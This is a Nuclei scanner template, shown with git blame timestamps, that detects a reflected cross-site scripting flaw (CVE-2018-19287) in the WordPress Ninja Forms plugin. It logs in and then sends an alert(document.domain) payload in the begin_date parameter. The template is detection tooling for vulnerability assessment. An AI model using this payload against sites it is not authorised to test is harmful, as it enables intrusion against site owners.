nuclei-templates/http/cves/2018/CVE-2018-19287.yaml

61 lines
2.1 KiB
YAML
Raw Normal View History

2022-10-13 10:28:46 +00:00
id: CVE-2018-19287
info:
name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
2022-10-13 10:28:46 +00:00
author: theamanrawat
severity: medium
2022-10-13 18:21:30 +00:00
description: |
WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
2022-10-13 10:28:46 +00:00
reference:
2022-10-13 18:21:30 +00:00
- https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7
2022-10-13 10:28:46 +00:00
- https://wordpress.org/plugins/ninja-forms/
- https://www.exploit-db.com/exploits/45880
- https://nvd.nist.gov/vuln/detail/CVE-2018-19287
2023-07-11 19:49:27 +00:00
- https://plugins.trac.wordpress.org/changeset/1974335/ninja-forms/trunk/includes/Admin/Menus/Submissions.php
2022-10-13 10:28:46 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-10-13 10:28:46 +00:00
cve-id: CVE-2018-19287
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.82305
cpe: cpe:2.3:a:ninjaforma:ninja_forms:*:*:*:*:*:wordpress:*:*
2023-08-31 11:46:18 +00:00
epss-percentile: 0.97953
2022-10-13 10:28:46 +00:00
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
2023-07-11 19:49:27 +00:00
framework: wordpress
vendor: ninjaforma
product: ninja_forms
tags: wp-plugin,wp,xss,authenticated,wpscan,edb,cve,cve2018,ninja-forms,wordpress
2022-10-13 10:28:46 +00:00
http:
2022-10-13 10:28:46 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
req-condition: true
2022-10-13 10:28:46 +00:00
matchers-condition: and
matchers:
- type: word
2022-10-13 18:21:30 +00:00
part: body_2
2022-10-13 10:28:46 +00:00
words:
- 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'
2022-10-13 18:21:30 +00:00
- type: word
part: header_2
words:
- text/html
2022-10-13 10:38:20 +00:00
- type: status
2022-10-13 10:28:46 +00:00
status:
- 200